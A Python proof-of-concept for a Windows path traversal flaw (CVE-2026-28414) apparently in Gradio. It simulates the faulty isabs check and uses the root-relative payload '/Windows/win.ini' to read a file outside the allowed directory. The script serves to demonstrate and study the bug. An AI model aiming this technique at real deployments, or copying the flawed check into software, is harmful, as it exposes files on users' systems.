Vulnerable code sample

import os
import sys

# This code represents the logic vulnerable to CVE-2026-28414.
# The vulnerability exists on Windows systems running Python 3.13+
# due to a behavioral change in `os.path.isabs`.
#
# To simulate the Python 3.13+ behavior on older versions for this PoC,
# we can mock `os.path.isabs` if not on Windows.

def _is_vulnerable_python_on_windows():
    """Checks for the specific vulnerable environment."""
    # This is a hypothetical check for the described environment.
    # We assume Python 3.13 is major=3, minor=13.
    return sys.platform == 'win32' and sys.version_info >= (3, 13)

# If we are not in the vulnerable environment, we will mock the behavior
# of os.path.isabs for the purpose of this demonstration.
if not _is_vulnerable_python_on_windows():
    print("INFO: Not running on Windows with Python 3.13+. Mocking vulnerable `os.path.isabs` behavior for demonstration.", file=sys.stderr)
    _original_isabs = os.path.isabs
    def _mocked_isabs_for_poc(path):
        # On Python 3.13+/Windows, os.path.isabs('/drive/relative/path') is False.
        # This is the core of the issue.
        if isinstance(path, str) and (path.startswith('/') or path.startswith('\\')):
             # A simple check: if it looks like a root-relative path but not a UNC path,
             # simulate the vulnerable behavior by returning False.
             if len(path) > 1 and path[1] not in (':', '\\', '/'):
                 return False
        return _original_isabs(path)
    os.path.isabs = _mocked_isabs_for_poc


def get_file_content_vulnerable(user_provided_path: str):
    """
    This function simulates the vulnerable logic in Gradio prior to the fix.
    It attempts to prevent access to absolute paths but fails for root-relative
    paths on Windows with Python 3.13+.
    """
    # This is a simulated 'safe' directory where user files are supposed to be stored.
    base_dir = os.path.abspath("./safe_temp_dir")

    # 1. The flawed security check.
    # On a vulnerable system, `os.path.isabs('/windows/win.ini')` returns `False`.
    # This allows the path to bypass the security check.
    if os.path.isabs(user_provided_path):
        print(f"[!] SECURITY CHECK: Blocked absolute path access: {user_provided_path}")
        return None

    # 2. The unsafe path joining.
    # On Windows, `os.path.join('C:\\app\\safe_dir', '/windows/win.ini')`
    # evaluates to 'C:/windows/win.ini', completely ignoring the base directory.
    # Python normalizes the slashes, so the effective result is a path on the root of the current drive.
    full_path = os.path.join(base_dir, user_provided_path)

    print(f"[*] Attempting to access file at: {os.path.abspath(full_path)}")

    # 3. Reading the file.
    # If the path traversal was successful, this will read the arbitrary file.
    try:
        with open(full_path, 'r', encoding='utf-8', errors='ignore') as f:
            # Return the first 200 characters for the PoC
            return f.read(200)
    except FileNotFoundError:
        print(f"[!] File not found: {os.path.abspath(full_path)}")
        return None
    except Exception as e:
        print(f"[!] An error occurred: {e}")
        return None

if __name__ == '__main__':
    # --- Demonstration ---

    # Setup a simulated safe directory
    if not os.path.exists("./safe_temp_dir"):
        os.makedirs("./safe_temp_dir")
    with open("./safe_temp_dir/legitimate_file.txt", "w") as f:
        f.write("This is a safe and legitimate file.")

    print("--- Demonstrating Vulnerability CVE-2026-28414 ---\n")

    # --- Case 1: Legitimate file access (intended behavior) ---
    print("1. Testing legitimate file access...")
    content = get_file_content_vulnerable("legitimate_file.txt")
    if content:
        print(f"   -> SUCCESS (intended): Read content: '{content}'\n")

    # --- Case 2: Blocked absolute path (how it should work for all absolute paths) ---
    # We find a common file, e.g., hosts file, and use its full absolute path.
    # This path should be correctly identified as absolute and blocked.
    print("2. Testing blocked absolute path...")
    # This path is absolute and should be blocked by the `os.path.isabs` check.
    # This works correctly in all versions.
    absolute_path_to_block = os.path.join(os.environ.get("SystemRoot", "C:\\Windows"), "System32\\drivers\\etc\\hosts")
    get_file_content_vulnerable(absolute_path_to_block)
    print("   -> SUCCESS (intended): The check correctly blocked the absolute path.\n")

    # --- Case 3: The Exploit (root-relative path traversal) ---
    print("3. Testing the exploit with a root-relative path...")
    # This path is NOT considered absolute by the vulnerable Python version on Windows.
    # It bypasses the check, and `os.path.join` then resolves it from the drive root.
    exploit_path = "/Windows/win.ini"
    print(f"   Payload: '{exploit_path}'")
    print(f"   `os.path.isabs('{exploit_path}')` returns: {os.path.isabs(exploit_path)}")

    content = get_file_content_vulnerable(exploit_path)
    if content:
        print("\n   -> VULNERABILITY EXPLOITED! Arbitrary file content was read:")
        print("-" * 20)
        print(content)
        print("-" * 20)
    else:
        print("\n   -> Exploit did not retrieve content (file may not exist at C:\\Windows\\win.ini or permissions error).")